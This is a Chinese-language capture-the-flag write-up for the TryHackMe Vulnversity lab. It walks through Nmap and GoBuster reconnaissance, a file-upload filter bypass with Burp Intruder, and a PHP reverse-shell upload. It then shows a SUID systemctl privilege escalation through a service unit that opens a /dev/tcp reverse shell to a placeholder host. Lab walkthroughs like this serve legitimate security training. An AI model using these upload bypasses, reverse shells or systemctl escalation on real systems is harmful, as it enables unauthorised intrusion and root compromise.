THM-Vulnversity(漏洞大学)
1.侦查
使用Nmap
进行主动信息收集
nmap 是一种免费、开源且功能强大的工具,用于发现计算机网络上的主机和服务。在我们的示例中,我们使用 nmap 扫描这台机器以识别在特定端口上运行的所有服务。nmap 有很多功能,下表总结了它提供的一些功能。
Nmap
常用参数
nmap标志 | 描述 |
---|---|
-sV | 尝试确定正在运行的服务的版本 |
-p |
端口扫描端口 |
-Pn | 禁用主机发现并仅扫描开放端口 |
-A | 启用操作系统和版本检测,执行内置脚本以进行进一步枚举 |
-SC | 使用默认的 nmap 脚本进行扫描 |
-v | 详细模式 |
-su | UDP端口扫描 |
-sS | TCP SYN端口扫描 |
问题:
-
扫描盒子,打开了多少个端口?
由于tryhackme
的靶机网络有一些延迟,使用nmap
扫描可能会很慢,这里先使用-p1-10000
扫描前10000个端口
扫描到了6个端口,尝试提交答案
如果答案不正确,我们需要继续使用-p
参数继续扫描后面的端口 -
机器上运行的是什么版本的 squid 代理?
根据上一题扫描的答案,可以看出3128端口
开放squid
服务
使用-sV -p3128
对该端口进行服务扫描,-n
代表不进行域名解析
得到答案
-
如果使用标志-p-400,
nmap
将扫描多少个端口?
在考我们对Nmap
的理解,这里如果-
左右两边没有设置,默认从开头开始或者在末尾结束
这里开头没有设置,默认从1端口
开始,扫描的范围就是1-400
端口
答案就是400
-
使用
nmap
标志-n 它不能解决什么问题?
答案是DNS
-
这台机器最有可能运行的操作系统是什么?
这里可以猜测系统的类型,常见的操作系统也就那几个
这里可以使用-O
对目标系统进行扫描
并没有得到想要的系统,使用-A
对目标进行全面扫描,因为-A
全面扫描也会附带-O
的系统扫描,尝试使用这个参数猜测目标系统
这里从3333端口
的Apache
服务获取了目标的操作系统为Ubuntu
-
Web 服务器在哪个端口上运行?
根据刚刚扫描到的3333端口
为Apache服务
可以确定这是一个Web
服务
重要的是了解目标机器端口开放的情况(彻底)。了解所有开放的服务(它们都可能是利用点)非常重要,不要忘了可能有更改的端口开放,因此要始终扫描 1000 之后的端口(即使您将扫描留在后台)
说明:Nmap
默认扫描常用的1000个端口
2.使用 GoBuster 进行目录探测
目录扫描的工具有很多,这里学习一个新的gobuster
首先查找目标隐藏的目录,GoBuster 是一种用于暴力破解 URI(目录和文件)、DNS子域和虚拟主机名的工具。对于这台机器,我们将专注于使用它来暴力破解目录
这里我们使用kali
,使用sudo apt install gobuster
安装
进行目录扫描我们需要一个单词列表
,也就是字典,用于我们快速扫描目标目录,在kali
中,/usr/share/wordlists目录中含有许多单词列表
现在让我们使用单词列表运行 GoBuster:gobuster dir -u http://<ip>:3333 -w <word list location>
GoBuster | 描述 |
---|---|
-e | 在控制台中打印完整的 URL |
-u | 目标网址 |
-w | 单词列表的路径 |
-U 和 -P | 基本身份验证的用户名和密码 |
-p |
用于请求的代理 |
-c |
指定用于模拟您的身份验证的 cookie |
- 有上传表单页面的目录是什么?
使用上述教给我们的gobuster
进行目标进行目录扫描
gobuster dir -u http://10.10.174.124:3333/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e
使用的字典是/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
,dirbuster
目录扫描工具的字典
最后扫描到了一个internal
的目录,访问查看
这是一个文件上传页面,很可疑,这就是我们所需要的答案
3.文件上传、反弹shell
现在我们已经找到了一个文件上传页面,使用该Web漏洞
上传我们的有效载荷,然后执行反弹shell
首先准备一个内容为<?php phpinfo();?>
的文件,后缀名为.php
进行上传,这里的文件名为Junglezt.php
上传返回
猜测可能不可以上传.php
后缀的文件
这里可以对上传表单进行模糊测试
使用Burpsuite
的Intruder
进行自动化上传测试
首先我们需要一个词表(上传文件后缀名的词表):
确保我们拦截了文件上传提交的数据包。右键->发送到Intruder模块
对上传数据包
进行配置,设置为狙击手(sniper)模式,将.php
设置为后缀名
进入Payloads
选项这是单子列表,然后点击Start attack
进行模糊测试
根据返回长度可以看出phtml
的文件可以上传成功,这里我们使用kali
自带的php-reverse-shell.php
进行反弹shell
位置在/usr/share/webshells/php
中
修改反弹shell的IP和端口
使用nc
监听本机端口,等待靶机shell回弹
将修改后的php-reverse-shell.php
的后缀名改为.phtml
,并上传
上传成功,寻找上传文件所在的目录
这里可以猜测上传目录为upload
或者uploads
,一般在当前目录下的,或者上一级目录下,可以猜测一下
这里我们使用gobuster
对当前目录internal
下的目录进行扫描
扫描到了uploads
目录,使用浏览器访问
可以看到其中存在刚刚上传的Junglezt.phtml、php-reverse-shell.phtml
文件,访问php-reverse-shell.phtml
文件
然后回到查看nc
是否回连
这里成功获取目标机器的www-data
的权限
-
管理网络服务器的用户的名称是什么?
获取权限后查看/etc/passwd
获取
-
什么是用户标志?
这里猜测是bill
用户的文件,追踪到该用户家目录
4.特权升级
现在是最后一步,我们将要对目标进行权限的提升,目标是获取更高的权限,因为www-data
用户可以做的事情实在是很少
在Linux中,SUID(set owner userId upon execution) 是赋予文件的一种特殊类型的文件权限。SUID 为用户提供临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件
例如:用于更改密码的二进制文件/usr/bin/passwd
设置了SUID位,如果普通用户使用/usr/bin/passwd
是没有权限的,只有root
可以使用,但是该二进制文件设置了SUID位,我们就可以在执行该二进制文件的时候以root
的身份运行。也就是普通的用户也可以更改任何用户的密码。
这样错误的SUID权限可能会导致权限提升的漏洞
- 在系统上,搜索所有 SUID 文件。什么文件脱颖而出?
使用find
搜索存在SUID权限的文件、
find / -perm -04000 -type f -print 2>/dev/null
这里经过查阅/bin/systemctl
命令存在SUID提权漏洞
首先进入/dev/shm
目录,写入一个后缀名为.service
的文件,内容为
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target
我们需要使用echo
或者vim
命令进行写入,由于目标的shell
不是交互式shell,操作不太方便,这里我们将其提升为交互式
shell`
- 输入
python -c 'import pty;pty.spawn("/bin/bash")'
,获得一个bash
shell - 然后执行
export TERM=xterm
- 输入快捷键
CTRL + Z
,将nc
切入后台运行 - 输入命令
stty raw -echo; fg
,然后摁下回车,这样我们就拥有了一个交互式shell
现在使用echo
写入mm.service
,注意,写入目录一定是/dev/shm/
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service
#生成的unit名位mm.service
然后监听本机的5555
端口,改端口是/dev/tcp/IP/PORT
指定的
然后依次执行以下两条命令,就会反弹一个root
的shell
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
成功获得root
的shell
- 获得最后一个标志/root/root.txt